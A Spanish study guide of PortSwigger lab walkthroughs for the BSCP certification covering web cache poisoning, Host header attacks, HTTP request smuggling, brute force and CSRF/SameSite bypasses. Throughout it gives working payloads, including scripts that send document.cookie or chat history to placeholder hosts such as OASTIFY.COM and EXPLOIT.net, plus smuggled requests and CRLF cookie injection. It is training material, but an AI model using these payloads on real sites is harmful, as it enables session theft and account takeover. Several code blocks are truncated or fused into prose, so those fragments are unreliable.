El objetivo es vulnerable al envenenamiento de caché web porque excluye un parámetro determinado de la clave de caché. La función "Guess GET parameters" de Param Miner identificará el parámetro como utm_content.
```
GET /?utm_content='/>
>El payload anterior se almacena en caché y, cuando la víctima visita el objetivo, la cookie se envía al colaborador de Burp.

[Laboratorio de PortSwigger: Envenenamiento de caché web mediante un parámetro de consulta sin clave](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-unkeyed-param)
### Ocultando utm_content
>La extensión Param Miner al realizar un `Bulk scan > Rails parameter cloaking scan` ***identificará*** la vulnerabilidad automáticamente. Manualmente se puede identificar añadiendo `;` para agregar otro parámetro a `utm_content`; la caché lo trata como un único parámetro. Esto significa que el parámetro adicional también queda excluido de la clave de caché.
>El `código fuente` de `/js/geolocate.js?callback=setCountryCookie` se invoca en todas las páginas y ejecuta la función `callback`.
>El parámetro `callback` está incluido en la clave, por lo que no se puede envenenar la caché para el usuario víctima, pero al combinar un parámetro duplicado con `utm_content`, queda excluido y la caché puede ser envenenada.```
GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=EVILFunction

Payload de captura de cookies con Cache Cloaking a continuación, sigue envenenando la caché hasta que la víctima acceda a la caché almacenada.``` GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='%2bdocument.cookie%3b HTTP/2
>A continuación se muestra el payload [Url Decoded](https://www.urldecoder.org/).```
GET/js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='+document.cookie; HTTP/2
PortSwigger Lab: Parameter cloaking
Agregar un segundo encabezado Host con un servidor de exploit, esto identifica una vulnerabilidad de caché ambigua y enruta tu solicitud. Ten en cuenta que el servidor de exploit en el segundo encabezado Host se refleja en una URL absoluta utilizada para importar un script desde
/resources/js/tracking.js.```html Host: TARGET.net Host: exploit.net
>En el servidor de explotación configure un archivo con la misma ruta a la que apuntan las llamadas a ```/resources/js/tracking.js```; este contendrá el payload. Coloque el código del payload de JavaScript a continuación para realizar un robo de cookies.```
document.location='https://OASTIFY.COM/?CacheCookies='+document.cookie;

PortSwigger Lab: Envenenamiento de caché web mediante solicitudes ambiguas
Identifica las cabeceras de acierto de caché en las respuestas,
luego prueba si el objetivo admite las cabecerasX-Forwarded-HostoX-Forwarded-Scheme.
Estas cabeceras pueden permitir el robo de la cookie de sesión de la víctima.
Identifica si añadir las dos cabeceras Forwarded a la solicitud GET
/resources/js/tracking.jsproduce un cambio en la cabecera de respuesta Location. Esto identifica un envenenamiento positivo de la caché con múltiples cabeceras.```html GET /resources/js/tracking.js?cb=123 HTTP/2 Host: TARGET.net X-Forwarded-Host: EXPLOIT.net X-Forwarded-Scheme: nothttps

>En el servidor de explotación, cambia la ruta del archivo a ```/resources/js/tracking.js```
>y luego actualiza el encabezado ```X-Forwarded-Host: EXPLOIT.net``` de la solicitud envenenada.
>Coloca el payload en el cuerpo del servidor de explotación.```html
document.location='https://OASTIFY.COM/?poisoncache='+document.cookie;
Elimina el cache buster
cb=123y luego envenena la caché hasta que la víctima sea redirigida al payload tracking.js del servidor de explotación para robar la cookie de sesión.
PortSwigger Lab: Web cache poisoning with multiple headers
Identifica que la aplicación es vulnerable al envenenamiento por parámetros duplicados; al añadir un segundo parámetro con el mismo nombre y un valor diferente, la respuesta reflejó el valor inyectado.
```
GET /js/geolocate.js?callback=setCountryCookie&callback=FUZZERFunction; HTTP/2
>La función que se llama en la respuesta al pasar un parámetro callback duplicado se refleja. Observa que en la respuesta la clave de caché aún se deriva del parámetro callback original en la línea de solicitud GET.

>No pude hacer funcionar el payload de robo de cookies......
[Laboratorio de PortSwigger: Envenenamiento de caché web mediante una solicitud fat GET](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
-----
## Cabeceras de Host
[Falsificar dirección IP](#spoof-ip-address)
[Estado de conexión HOST](#host-connection-state)
[SSRF basado en enrutamiento de Host](#host-routing-based-ssrf)
[SSRF mediante análisis defectuoso de la solicitud Host](#absolute-get-url--host-ssrf)
### Falsificar dirección IP
>***Identifica*** que se admiten cabeceras HOST modificadas,
>lo que te permite falsificar tu dirección IP y omitir la protección de fuerza bruta basada en IP
>o ataques de redirección para realizar envenenamiento de ***restablecimiento de contraseña***.
>Incluye las siguientes cabeceras `X- ` y cambia el parámetro username en la solicitud de restablecimiento de contraseña a `Carlos` antes de enviar la solicitud.
>En el examen BSCP, si usaste este exploit, entonces significa que no has usado una vulnerabilidad que requiera interacción del usuario y te permita usar una vulnerabilidad de interacción para obtener acceso a la etapa 3 como administrador mediante la función `Deliver exploit to victim` del servidor de exploits.```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net
X-Forwarded-Server: EXPLOIT.net
Consejos y notas de fullfox:
Host: o X-Forwarded-Host:, si recibes el error Invalid hostname, prueba a usar el siguiente hostname: xxx.oastify.com?TARGET.net URL legítima del objetivo sin barra.Revisa el registro del servidor de explotación para obtener el enlace de restablecimiento del nombre de usuario de la víctima.

PortSwigger Lab: Envenenamiento del restablecimiento de contraseña mediante middleware
El objetivo es vulnerable a SSRF basado en enrutamiento a través del encabezado Host, pero valida el estado de conexión de la primera solicitud. Enviar solicitudes agrupadas en secuencia usando una sola conexión y establecer el encabezado de conexión en keep-alive evade la validación del encabezado Host y permite explotar SSRF del servidor local.```html GET / HTTP/1.1 Host: TARGET.net Cookie: session=ValueOfSessionCookie Content-Length: 48 Content-Type: text/plain;charset=UTF-8 Connection: keep-alive
>La siguiente solicitud es la segunda pestaña en la secuencia de grupo de solicitudes.```html
POST /admin/delete HTTP/1.1
Host: localhost
Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE
Content-Type: x-www-form-urlencoded
Content-Length: 53
csrf=TheCSRFTokenValue&username=carlos
Observe que la segunda solicitud ha accedido correctamente al panel de administración.

Laboratorio PortSwigger: Omisión de validación de host mediante ataque de estado de conexión
Arquitectura con servidor front-end y back-end, y el front-end o el back-end no soporta codificación por fragmentos (HEX) ni content-length (Decimal). Omite los controles de seguridad para recuperar la solicitud de la víctima y usar las cookies del usuario víctima para acceder a su cuenta.
TE.CL dualchunk - Transfer-encoding obfuscated
TE.CL multiCase - Admin blocked
CL.TE multiCase - Admin blocked
CL.TE multiCase - Content-Length Cookie Stealer
CL.TE multiCase - User-Agent Cookie Stealer
HTTP/2 smuggling - CRLF injection Cookie Stealer
HTTP/2 TE - Admin Cookie Stealer
Si se permiten nombres de encabezado duplicados y la vulnerabilidad se detecta como dualchunk, añada un encabezado adicional con nombre y valor = Transfer-encoding: cow. Use técnicas de ofuscación con el segundo TE.``` Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding : chunked
Transfer-encoding: identity Transfer-encoding: cow
>Algunos servidores que sí admiten el encabezado `Transfer-Encoding` pueden ser inducidos a no procesarlo si el encabezado está **ofuscado** de alguna manera.
>En el menú Repeater asegúrate de que la opción **"Update Content-Length"** esté desmarcada.```html
POST / HTTP/1.1
Host: TARGET.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: identity
e6
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?c='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0\r\n
\r\n

Nota: Debe incluir la secuencia final \r\n\r\n después del 0 final.
¿Me pregunto con qué frecuencia ocurre este escenario en el que un hacker puede robar la solicitud del usuario visitante mediante la vulnerabilidad HTTP Sync?
Al intentar acceder a la ruta URL del portal
/admin, obtenemos el mensaje de filtro,Path /admin is blocked. El escáner HTTP Request Smuggler identifica la vulnerabilidad comoTE.CL multiCase (delayed response). Nota: debido a que el servidor back-end no es compatible con la codificación por chunks, desactiveUpdate Content-Lengthen el menú Repeater.
Después de desactivar la actualización automática de Content-Length, cambie a
HTTP/1.1, luego envíe la siguiente solicitud dos veces; añadir la segunda cabeceraContent-Length: 15evita que la cabecera HOST entre en conflicto con la primera solicitud.
Nota: debe incluir la secuencia final\r\n\r\ndespués del0final.
El ajuste manual de los campos de longitud en ataques de contrabando de solicitudes requiere que cada tamaño de chunk en bytes se exprese en HEXADECIMAL, y Content-Length especifica la longitud del cuerpo del mensaje en bytes. Los chunks van seguidos de una nueva línea y luego del contenido del chunk. El mensaje termina con un chunk de tamaño CERO.```html POST / HTTP/1.1 Host: TARGET.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked
71 POST /admin HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 15
x=1 0
>Calculando la longitud de la solicitud de contrabando TE.CL (Transfer-Encoding / Content-Length) en **HEXADECIMAL** y el payload se encuentra entre la longitud hexadecimal de **71** y el **CERO** de terminación, sin incluir el CERO ni el `\r\n` anterior en la línea sobre el CERO, como parte de la longitud. El **content-length** de la solicitud POST inicial se establece manualmente.

>Al enviar `/admin/delete?username=carlos` para eliminar al usuario, el valor hexadecimal de la codificación de transferencia se cambia de `71` a `88` para incluir el tamaño adicional de la solicitud contrabandeada.
[Laboratorio de PortSwigger: Explotación del contrabando de solicitudes HTTP para evadir los controles de seguridad del front-end, vulnerabilidad TE.CL](https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl)
### CL.TE multiCase - Admin bloqueado
>Al intentar acceder a la ruta de la URL del portal `/admin`, obtenemos el mensaje de filtro `Path /admin is blocked`. El escáner HTTP Request Smuggler ***identifica*** la vulnerabilidad como `CL.TE multiCase (delayed response)`.
>Para acceder al panel de administración, envíe la siguiente solicitud dos veces; agregar el segundo encabezado ```Content-Length: 10``` evita que el encabezado HOST entre en conflicto con la primera solicitud.```html
POST / HTTP/1.1
Host: TARGET.net
Cookie: session=waIS6yM79uaaNUO4MnmxejP2i6sZWo2E
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
tRANSFER-ENCODING: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=
En la segunda vez que se envía la solicitud, el portal de administración se devuelve en la respuesta.

Content-Length grande para capturar las solicitudes de la víctima. Enviar una solicitud POST con una solicitud de contrabando, pero con una longitud de contenido mayor que la longitud real; cuando la víctima navega, el valor de su cookie de sesión se publica en el comentario blob. Se incrementó el Content-Length de la solicitud de publicación del comentario a 798, y luego se contrabandea una solicitud POST al servidor back-end.```html POST / HTTP/1.1 Host: TARGET.net Content-Type: application/x-www-form-urlencoded Content-Length: 242 Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 798 Cookie: session=HackerCurrentCookieValue
csrf=ValidCSRFCookieValue&postId=8&name=c&email=c%40c.c&website=&comment=c

>No hay nueva línea al final de la solicitud POST contrabandeada anterior^^.
>Visite la **publicación** del blog para ver si hay un comentario que contenga la solicitud de un usuario. Tenga en cuenta que el ataque solo tendrá éxito cuando el usuario víctima navegue por el sitio web objetivo. Copie el encabezado Cookie del usuario del comentario de la publicación del blog y utilice la cookie para acceder a la cuenta de la víctima.

[Laboratorio de PortSwigger: Explotando el contrabando de solicitudes HTTP para capturar las solicitudes de otros usuarios](https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests)
### CL.TE multiCase - Ladrón de cookies User-Agent
>***Identifique*** que el valor UserAgent se almacena en la solicitud GET que carga el formulario de comentarios del blog, y se almacena en el valor oculto **User-Agent**. Explotando el contrabando de solicitudes HTTP para entregar XSS reflejado usando el valor **User-Agent** que luego se coloca en una solicitud contrabandeada.
>Payload básico de Cross Site Scripting que escapa del documento HTML.```JavaScript
"/><script>alert(1)</script>
COOKIE STEALER Payload.```JavaScript a"/>;
>Contrabandea esta solicitud XSS al servidor back-end, de modo que explote al siguiente visitante. Coloca el ladrón de cookies XSS en la cabecera **User-Agent**.```html
POST / HTTP/1.1
Host: TARGET.net
Content-Length: 237
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
0
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?Hack='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
x=1

Comprueba la solicitud de PortSwigger Collaborator recibida de la víctima al navegar por el objetivo.

El objetivo es vulnerable al contrabando de solicitudes porque el servidor front-end degrada las solicitudes HTTP/2 y no sanea adecuadamente las cabeceras entrantes. La explotación se realiza mediante un vector de contrabando de solicitudes exclusivo de HTTP/2 para robar la cookie de sesión de la víctima y obtener acceso a la cuenta del usuario.
Identifica una posible vulnerabilidad cuando el objetivo refleja el historial de búsquedas anteriores y recientes basado en la cookie; al eliminar la cookie se observa que tu historial de búsquedas se restablece, lo que confirma que está vinculado a tu cookie de sesión.

Expande la sección Request Attributes del Inspector y cambia el protocolo a HTTP/2, luego añade la cabecera arbitraria
foocon el valorbar, seguida de la secuencia\r\n, y después deTransfer-Encoding: chunked, presionando shift+ENTER.

Nota: habilita la opción Allow HTTP/2 ALPN override y cambia el cuerpo de la solicitud HTTP/2 a la siguiente solicitud POST.```html 0
POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Cookie: session=HACKER-SESSION-COOKIE Content-Length: 800
search=nutty

[Laboratorio de PortSwigger: contrabando de solicitudes HTTP/2 mediante inyección CRLF](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-smuggling-via-crlf-injection)
[Demostración en YouTube de contrabando de solicitudes HTTP/2 mediante inyección CRLF](https://youtu.be/E-bnCGzl7Rk)
### HTTP/2 TE desync v10a h2path
>El objetivo es vulnerable al contrabando de solicitudes porque el servidor front-end degrada las solicitudes HTTP/2 incluso si tienen una longitud ambigua. Roba la cookie de sesión del administrador que visita el objetivo. La extensión de Burp, **HTTP Request Smuggler**, ***identificará*** la vulnerabilidad como una vulnerabilidad HTTP/2 TE desync v10a (H2.TE).

>Nota: Cambia a **HTTP/2** en los atributos de solicitud del Inspector y habilita la opción **Allow HTTP/2 ALPN override** en el menú de repetición.```html
POST /x HTTP/2
Host: TARGET.net
Transfer-Encoding: chunked
0
GET /x HTTP/1.1
Host: TARGET.web-security-academy.net\r\n
\r\n
Nota: Las rutas en las solicitudes POST y GET apuntan a endpoints inexistentes. Esto ayuda a identificar cuándo, al no obtener una respuesta 404, la respuesta proviene de la solicitud capturada del usuario víctima. Recuerda terminar la solicitud contrabandeada correctamente incluyendo la secuencia
\r\n\r\ndespués de la cabecera Host.

Copia el valor de la cookie de sesión robada en una nueva solicitud GET http/2 al panel de administración.``` GET /admin HTTP/2 Host: TARGET.web-security-academy.net Cookie: session=VictimAdminSessionCookieValue Cache-Control: max-age=0

[Laboratorio de PortSwigger: Envenenamiento de la cola de respuestas mediante el contrabando de solicitudes H2.TE](https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning/lab-request-smuggling-h2-response-queue-poisoning-via-te-request-smuggling)
-----
## Fuerza bruta
[Stay-Logged-in](#stay-logged-in)
[Descifrado sin conexión de Stay-logged-in](#stay-logged-in-offline-crack)
[Inicio de sesión protegido por fuerza bruta](#brute-force-protected-login)
[Inicio de sesión sutilmente inválido](#subtly-invalid-login)
### Stay-Logged-in
>La opción de inicio de sesión con una casilla de verificación de mantenerse conectado da como resultado un valor de cookie que contiene la contraseña del usuario que inició sesión y es vulnerable a la fuerza bruta.

>Los pasos de explotación a continuación, junto con las reglas de procesamiento de Payload de Intruder en orden, e incluyendo la opción GREP en secuencia antes de iniciar el ataque.
1. Cierra sesión como el usuario actual.
2. Envía la solicitud GET /my-account más reciente a Burp Intruder.
3. Selecciona la cookie: ```stay-logged-in``` como posición de inyección.
4. Hash: ```MD5```
5. Añade el prefijo: ```carlos:```
6. Codifica: ```Base64-encode```
7. Añade **GREP** en la pestaña de configuración para buscar la cadena ```Update email``` en la respuesta, lo que indica un inicio de sesión exitoso.

[Laboratorio de PortSwigger: Fuerza bruta a una cookie de mantenerse conectado](https://portswigger.net/web-security/authentication/other-mechanisms/lab-brute-forcing-a-stay-logged-in-cookie)
### Descifrado sin conexión de Stay-logged-in
>La función de comentarios de la aplicación de blog es vulnerable a [XSS almacenado](#stored-xss); usa el siguiente payload en el comentario del blog para enviar la cookie de sesión de Carlos al servidor de explotación.```
<script>
document.location='https://EXPLOIT.net/StealCookie='+document.cookie
</script>
Decodifica en Base64 el valor de la cookie
stay-logged-iny usa una base de datos de crackeo de hash MD5 en línea.

PortSwigger Lab: Cracking de contraseñas sin conexión
Identificada la protección contra fuerza bruta en el inicio de sesión cuando el backend aplica un bloqueo de 30 minutos, lo que resulta en IP bloqueada después de demasiados intentos de inicio de sesión no válidos. Probar el encabezado
X-Forwarded-For:resulta en la omisión de la protección contra fuerza bruta. Al observar el tiempo de respuesta con una contraseña larga no válida, podemos usar la técnica Pitchfork para identificar los primeros nombres de usuario válidos con una contraseña larga aleatoria y luego volver a ejecutar Intruder con Pitchfork, configurando cada posición de payload para que el ataque itere a través de todos los conjuntos simultáneamente.
Burp Lab: listas de palabras de fuzzing de nombres de usuario, contraseñas y directorios
Posición de payload 1 en la dirección IP para
X-Forwarded-For:y posición 2 en el nombre de usuario con una contraseña larga para ver el retraso del tiempo de respuesta en la ventana de columnas de ataque.``` X-Forwarded-For: 12.13.14.15

>Repite el ataque **Pitchfork** de Intruder en el campo de contraseña y luego ***identifica*** la contraseña válida desde la columna de estado con el resultado 302.
[Laboratorio PortSwigger: Enumeración de nombres de usuario mediante tiempos de respuesta](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-response-timing)
### Inicio de sesión inválido sutil
>***Identifica*** que la página de inicio de sesión y el restablecimiento de contraseña no están protegidos contra ataques de fuerza bruta, y no se aplica bloqueo de IP ni tiempo de espera para un nombre de usuario o contraseña inválidos.
>Consejo para el examen BSCP, a veces hay otro usuario con contraseña débil que puede ser forzado por fuerza bruta. Carlos no siempre es la cuenta a la que apuntar para obtener acceso inicial en la etapa 1.

>Observa en la columna del ataque de Intruder para el valor GREP, ```Invalid username or password.``` la única respuesta de mensaje para un ataque de nombre de usuario fallido no contiene un punto final al final. Repite el ataque con este nombre de usuario ***identificado*** y ataca el campo de contraseña con **Sniper** para ***identificar*** la respuesta ```302``` para un inicio de sesión válido.

>En el examen BSCP ***busca*** otros mensajes devueltos que sean diferentes y revelen cuentas válidas en la aplicación, y permitan la ***identificación*** por fuerza bruta de contraseñas de cuentas, como por ejemplo en la función de [restablecimiento de contraseña](#refresh-password-broken-logic).
>Una vez que se identifica un nombre de usuario válido a partir de un mensaje de respuesta diferente, realiza [fuerza bruta](#brute-force) usando Burp Intruder sobre la contraseña.
[Laboratorio PortSwigger: Enumeración de nombres de usuario mediante respuestas sutilmente diferentes](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-subtly-different-responses)
>Otro escenario para identificar un nombre de usuario válido en la aplicación web es proporcionar una lista de nombres de usuario al iniciar sesión y un valor de contraseña no válido. En los resultados del ataque de Intruder, una respuesta contendrá el mensaje `Incorrect password`.
>Posición de inyección del ataque Intruder, `username=§invalid-username§&password=SomeStupidLongCrazyWrongSecretPassword123456789`.
[Laboratorio PortSwigger: Enumeración de nombres de usuario mediante respuestas diferentes](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses)
-----
## Autenticación
[Registro de cuenta](#account-registration)
[Macro de omisión de token de autenticación](#auth-token-bypass-macro)
### Registro de cuenta
>La falla de lógica de negocio en la función de registro de cuenta permite obtener acceso inicial como el rol de usuario objetivo. [Descubrimiento de contenido](#content-discovery) encuentra la ruta ```/admin```, el mensaje indica que la interfaz de administración solo está disponible si se inicia sesión como un usuario **DontWannaCry**.

>Crear un correo electrónico con más de 200 caracteres antes del símbolo ```@``` se trunca luego a 255 caracteres. Esto ***identifica*** la vulnerabilidad en el **fallo** de lógica de la página de registro de cuenta. En el correo a continuación, la ```m``` al final de ```@dontwannacry.com``` es exactamente el carácter 255.```
very-long-strings-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-strings@dontwannacry.com.exploit-0afe007b03a34169c10b8fc501510091.exploit-server.net

PortSwigger Lab: Inconsistent handling of exceptional input
Si el inicio de sesión de autenticación está protegido contra fuerza bruta mediante un token aleatorio que se usa en cada POST de inicio de sesión, se puede usar una Macro de Burp para omitir la protección.
Crear una Macro de Burp
Macros y agrega una nueva macro.Configure item y agrega la ubicación del parámetro personalizado para extraer.Include all URLs.
PortSwigger Lab: Infinite money logic flaw - muestra cómo crear una Macro de Burp
OAuth
Validación de Referer CSRF
Cabecera Referer Presente
LastSearchTerm
CSRF duplicado en cookie
Token CSRF Presente
Sesión iniciada
CSRF Sin Defensas
bypass de SameSite Strict
bypass de SameSite Lax
La vulnerabilidad de Cross-Site Request Forgery permite a un atacante forzar a los usuarios a realizar acciones que no tenían intención de realizar. Esto puede permitir al atacante cambiar la dirección de correo electrónico de la víctima y usar el restablecimiento de contraseña para tomar control de la cuenta.
Vinculación oAuth: servidor de explotación que aloja un iframe, luego se entrega a la víctima, forzando al usuario a actualizar el código vinculado.

Intercepta el GET /oauth-linking?code=[...]. Envíalo a Repeater para guardar el código. Drop la petición. Importante para asegurar que el código no se use y siga siendo válido. Guarda en el servidor de explotación un iframe en el que el atributo
srcapunte a la URL que acabas de copiar.```html
[PortSwigger Lab: Forced OAuth profile linking](https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking)
### CSRF de validación de Referer
>***Identifica*** que la función de cambio de correo electrónico es vulnerable a CSRF al observar que, cuando se cambia el valor del encabezado **Referer**, la respuesta muestra el mensaje `Invalid referer header`, y el cambio de correo electrónico se acepta cuando el valor del referrer contiene el dominio objetivo esperado en algún lugar del valor.

>Al agregar el dominio original del objetivo y añadir `history.pushState('', '', '/?TARGET.net');` al encabezado **Referer** en forma de cadena de consulta, se permite que el cambio de correo electrónico se actualice.```html
Referrer-Policy: unsafe-url
Nota: A diferencia de la ortografía normal del encabezado
Referer, la palabra "referrer" debe escribirse correctamente en la secciónheadanterior del servidor de explotación.

``` >Cuando la carga útil del exploit anterior se entrega a la víctima, la carga útil del PoC CSRF cambia el correo electrónico de la víctima a **[email protected]**, porque el encabezado Referer contenía el objetivo en su valor. En el examen ***BSCP***, toma nota de la dirección de correo electrónico del servidor ```hacker@exploit``` para usar en la toma de control de la cuenta.Crea un exploit de prueba de concepto de CSRF y alójalo en el servidor de explotación. Edita el JavaScript para que el tercer argumento de la función history.pushState() incluya una cadena de consulta con la URL de destino.```html
Laboratorio de PortSwigger: CSRF con validación de Referer rota
``` >Este es un exploit interactivo y en el examen BSCP, si el exploit de la etapa 1 no fue interactivo, entonces este puede usarse para obtener la interacción del administrador haciendo que haga clic en el enlace para cambiar su contraseña. Nota: revisa el `código fuente` de la página de cambio de correo electrónico para detectar cualquier valor adicional de id de formulario.En la solicitud de actualización de correo electrónico, al cambiar el encabezado
referer, la respuesta indicaInvalid referer header, identificando la vulnerabilidad CSRF. Usando el<meta name="referrer" content="no-referrer">como parte del PoC CSRF del servidor de explotación, este control se puede omitir. Esto instruye al servidor de explotación a entregar el exploit a la víctima sin el encabezadoreferer.```html

PortSwigger Lab: CSRF where Referer validation depends on header being present
Identifica la vulnerabilidad CSRF donde el token no está vinculado a una cookie que no es de sesión, al cambiar la cookie csrfkey y observar que la solicitud es rechazada. Observa el valor de la cookie LastSearchTerm, que contiene la entrada proporcionada por el usuario desde el parámetro de búsqueda.

La función de búsqueda no tiene protección CSRF; crea el siguiente payload que inyecta caracteres de nueva línea
%0d%0apara establecer un nuevo valor de cookie en la respuesta, y usa esto para inyectar cookies en el navegador del usuario víctima.``` /?search=test%0d%0aSet-Cookie:%20csrfKey=CurrentUserCSRFKEY%3b%20SameSite=None
>Genere el POC de CSRF, habilite la opción para incluir un script de **auto-submit** y haga clic en **Regenerate**. Elimine el bloque de código del script **auto-submit** y agregue lo siguiente en su lugar, y coloque el código de script ```history.pushState``` debajo del encabezado del cuerpo. El **onerror** de la etiqueta IMG SRC enviará en su lugar el POC de CSRF.```
<img src="https://TARGET.net/?search=test%0D%0ASet-Cookie:%20csrfKey=CurrentUserCSRFKEY;%20SameSite=None" onerror="document.forms[0].submit()">
Durante el Examen BSCP, establece el valor de cambio de correo electrónico al de la dirección de correo del servidor de explotación [email protected]. Luego puedes cambiar la contraseña del administrador con la función de restablecimiento.

En el código CSRF PoC a continuación, el valor csrf oculto es el generado por la función cambiar correo electrónico y el valor csrfkey en el
img srces el valor de la víctima, obtenido al iniciar sesión con las credenciales proporcionadas de la víctima. No estoy seguro en el examen, pero en el mundo real esta es una prueba que se debe realizar.```html
En el objetivo identificamos que el token de clave CSRF está duplicado en el valor de la cookie. Otro indicador es que la cookie
LastSearchTermcontiene el valor buscado. Al proporcionar un valor de búsqueda que contenga%0d%0apodemos inyectar caracteres de fin de línea y nueva línea para crear una nueva cookie y valor CSRF.

En el código del exploit, en la etiqueta
img srcestablecemos la cookie de CSRF en fake.```html
Laboratorio de PortSwigger: CSRF donde el token se duplica en la cookie
Cambiar el valor del parámetro
csrfhace que la solicitud de cambio de correo sea rechazada. Eliminar el token CSRF permite que el cambio de correo sea aceptado, y esto identifica que la validación de la presencia del token es vulnerable.
``` Payload de PoC CSRF alojado en el servidor de explotación:```html
Laboratorio de PortSwigger: CSRF donde la validación del token depende de que el token esté presente
Si se identifica una cookie con el nombre isloggedin, entonces se podría explotar una solicitud POST de actualización de contraseña de administrador.
Cambie el parámetro username a administrator mientras está conectado como usuario de bajo privilegio.
El token CSRF no está vinculado a la sesión del usuario.```html POST /refreshpassword HTTP/1.1 Host: TARGET.net Cookie: session=%7b%22username%22%3a%22carlos%22%2c%22isloggedin%22%3atrue%7d--MCwCFAI9forAezNBAK%2fWxko91dgAiQd1AhQMZgWruKy%2fs0DZ0XW0wkyATeU7aA%3d%3d Content-Length: 60 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: https://TARGET.net Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/; X-Forwarded-Host: EXPLOIT.net X-Host: EXPLOIT.net X-Forwarded-Server: EXPLOIT.net Referer: https://TARGET.net/refreshpassword Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close
csrf=TOKEN&username=administrator

### CSRF sin defensas
>Un objetivo sin defensas contra la función de cambio de correo electrónico puede permitir la escalada de privilegios al rol de administrador. En el examen, cambiar el correo electrónico a la dirección `[email protected]` en el servidor de explotación puede permitir al atacante cambiar la contraseña del usuario administrador, lo que resulta en una escalada de privilegios.
>En el examen solo hay ***un*** usuario activo, y si la etapa anterior se completó mediante un ataque que no requirió que el usuario activo hiciera clic en un enlace, ya sea mediante envenenamiento de caché o un ataque de phishing a través de la función `Deliver to Victim`, entonces se puede utilizar el exploit de cambio de CSRF.

[Laboratorio de PortSwigger: vulnerabilidad CSRF sin defensas](https://portswigger.net/web-security/csrf/lab-no-defenses)
### Bypass de SameSite Strict
>En la función de chat en vivo, notamos que la solicitud `GET /chat HTTP/2` no utiliza tokens impredecibles; esto puede ***identificar*** una posible vulnerabilidad de [secuestro de WebSocket entre sitios](https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking) (CSWSH) si es posible omitir la restricción de cookies [SameSite](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions).
>Aloja en el servidor de explotación un payload POC para ***identificar*** la vulnerabilidad CSWSH.```
<script>
var ws = new WebSocket('wss://TARGET.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
El
SameSite=Strictestá configurado para las cookies de sesión y esto evita que el navegador incluya estas cookies en solicitudes XSS entre sitios. Identificamos el encabezadoAccess-Control-Allow-Originen solicitudes adicionales de scripts e imágenes a un subdominio encms-.
Al navegar a este subdominio CDN encms-y luego identificar que la entrada aleatoria de nombre de usuario se refleja, se confirmó que se trata de una vulnerabilidad de XSS reflejado.
cms reflected xss samesite bypass``` https://cms-TARGET.net/login?username=%3Cscript%3Ealert%28%27reflectXSS%27%29%3C%2Fscript%3E&password=pass
>Omita las restricciones SameSite codificando en URL todo el script siguiente y usándolo como entrada al subdominio CDN en el inicio de sesión de usuario `cms-`, alojado en el servidor de exploit.```
<script>
var ws = new WebSocket('wss://TARGE.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
Aloje lo siguiente en el servidor de exploit y entréguelo a la víctima; una vez que Collaborator reciba el historial de chat de la víctima con su contraseña, se producirá la toma de control de la cuenta.```
>El historial de chat contiene la contraseña de la víctima.

[Lab de PortSwigger: Bypass de SameSite Strict mediante dominio hermano](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions/lab-samesite-strict-bypass-via-sibling-domain)
### Bypass de SameSite Lax
